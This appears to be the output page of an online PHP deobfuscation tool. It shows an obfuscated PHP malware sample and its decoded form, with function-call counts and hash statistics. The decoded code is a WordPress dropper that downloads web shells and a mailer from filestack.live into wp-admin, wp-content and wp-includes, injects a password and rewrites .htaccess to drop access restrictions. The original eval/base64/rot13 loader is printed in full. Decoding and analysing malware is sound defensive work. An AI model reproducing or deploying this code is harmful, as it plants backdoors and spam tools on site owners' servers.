Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $oPEWZ = 'strre'.'v'; $KwJgf = 'ba'.'se64'.'_d'.'ecode'; $RrOIK = 'st'.'r'.'_ro'.'t1..
Decoded Output download
error_reporting(0); $p_olux = str_replace("../", "", "./wp-admin/A8NlnPRjxIs.php"); $p_mailer = str_replace("../", "", "./wp-content/1MQjrANylpV.php"); $p_xleet = str_replace("../", "", "./wp-includes/1NJMSi8ZFpL.php"); $root = str_replace("../", "", "./"); function http_get_contents($url){$codex = file_get_contents($url);if (empty($codex)){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);curl_setopt($ch, CURLOPT_TIMEOUT, 60);curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);$urlPage = curl_exec($ch);curl_close($ch);return($urlPage);}else {return $codex;}} function save($path, $source){ if(function_exists("file_put_contents")){ file_put_contents($path, $source); }else { fwrite(fopen($path,"w"), $source); } } function read($path){ if(function_exists("file_get_contents")){ $rr = file_get_contents($path); }else { $rr = stream_get_contents(fopen($path, "r")); } return $rr; } if(!file_exists($p_olux)) { $olux = http_get_contents("http://filestack.live/5de9c03400251a73ad64a272db83fab0.htm"); if(preg_match("/<\?php/", $olux)){ save($p_olux, $olux); } } if(!file_exists($p_xleet)) { $xleet = http_get_contents("http://filestack.live/2995e3adc0c914b5a67cc9c6fb40ad73.htm"); if(preg_match("/<\?php/", $xleet)){ save($p_xleet, $xleet); } } if(!file_exists($p_mailer)) { $mailer = http_get_contents("https://filestack.live/79f37cf98ac7d864a573c96fd19390ba.htm"); if(preg_match("/<\?php/", $mailer)){ $mailer = str_replace("xxxxxxxxxxxxxxxxxxxxxxx", "pqSdLYaOBT3", $mailer); save($p_mailer, $mailer); } } save($root."wp-includes/index.html", "<!DOCTYPE html><title></title>"); $htx = strtolower(read($root.".htaccess")); if(preg_match("/deny(.*)from(.*)all/", $htx) || preg_match("/order(.*)allow(.*)deny/", $htx)) { $htx = "<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php\$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>"; chmod($root.".htaccess", 0644); save($root.".htaccess", $htx); }
Did this file decode correctly?
Original Code
<?php $oPEWZ = 'strre'.'v'; $KwJgf = 'ba'.'se64'.'_d'.'ecode'; $RrOIK = 'st'.'r'.'_ro'.'t13'; /** 14528c715911fd173e9f32efa9b3d5fd ***/ error_reporting(0); ini_set('display_errors', 0); ini_set('error_log', NULL); ini_set('log_errors', 0); eval($RrOIK($KwJgf($oPEWZ('=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')))); ?>
Function Calls
strrev | 1 |
ini_set | 3 |
str_rot13 | 1 |
base64_decode | 1 |
error_reporting | 1 |
Stats
MD5 | 261e940ffc3af228c222526c32ea7daf |
Eval Count | 1 |
Decode Time | 74 ms |